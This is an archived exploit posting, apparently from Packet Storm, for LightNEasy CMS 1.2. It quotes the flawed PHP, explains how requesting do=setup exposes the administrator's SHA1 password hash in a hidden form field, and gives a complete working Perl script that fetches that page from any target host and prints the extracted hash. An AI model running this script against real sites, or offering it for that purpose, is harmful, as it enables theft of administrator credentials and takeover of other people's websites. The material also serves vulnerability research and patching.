what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

lightneasy-hash.txt

lightneasy-hash.txt
Posted Apr 11, 2008
Authored by __GiReX__ | Site girex.altervista.org

LightNEasy version 1.2 remote administrative hash retrieval exploit.

tags | exploit, remote
SHA-256 | c627d5d53c261bee0b83393471c59ae5cf170b1364a582da53455c3fd7b817c1

lightneasy-hash.txt

Change Mirror Download
# Author:  __GiReX__
# mySite: girex.altervista.org
# Date: 10/04/08

# CMS: LightNEasy 1.2 no database
# Site: lightneasy.org

# Bug: Hash Disclosure
# Exploit: Remote Hash Retrieve


# Bug Explanation: LightNEasy/lightneasy.php

if($_GET['do']!="login" && $_GET['do']!="sitemap" && $_SESSION[$set['password']] != "1") unset($_GET['do']);
if($_POST['submit']!=$langmessage[120] && $_POST['submit']!=$langmessage[33] && $_SESSION[$set['password']] != "1")
unset($_POST['submit']);

# $_GET['do'] is unset if we aren't admin or isn't login or sitemap

function content() {
...
switch($_REQUEST['do']) {
...
case "setup": {
...
<input type=\"hidden\" name=\"oldpassword\" value=\"".$set['password']."\" />

# content() diplays the HTML of the section passed with $_REQUEST['do']
# unset $_GET['do'] is not important if you switch the $_REQUEST one
# you can only see the admin's hash in hidden input and not edit it becouse $_POST['submit'] is unset


#!/usr/bin/perl -w
use strict;
use LWP::UserAgent;

if(not defined $ARGV[0])
{
banner();
print "[-] Usage: perl $0 [host] [path]\n";
print "[-] Example: perl $0 localhost /lightneasy/\n\n";
exit;
}
my $client = new LWP::UserAgent or exit;

my $target = $ARGV[0] =~ /^http:\/\// ? $ARGV[0]: 'http://' . $ARGV[0];
$target .= $ARGV[1] unless not defined $ARGV[1];

banner();
my $response = $client->get($target . 'LightNEasy.php?do=setup');

if($response->is_success)
{
if($response->as_string =~ /([a-f0-9]{40})/)
{
print "[+] Admin's SHA1 Hash: $1 \n";
print "[+] Exploit Successfull\n";
}
else
{
print "[-] Unable to retrieve admin's hash\n";
print "[-] Exploit Failed\n";
}
}
else
{
print "[-] Unable to request ${target}LightNEasy.php?do=setup\n";
print "[-] Exploit Failed\n";
}


sub banner
{
print "[+] LightNEasy 1.2 no database Password Retrieve Exploit\n";
print "[+] Coded by __GiReX__\n";
print "\n";
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close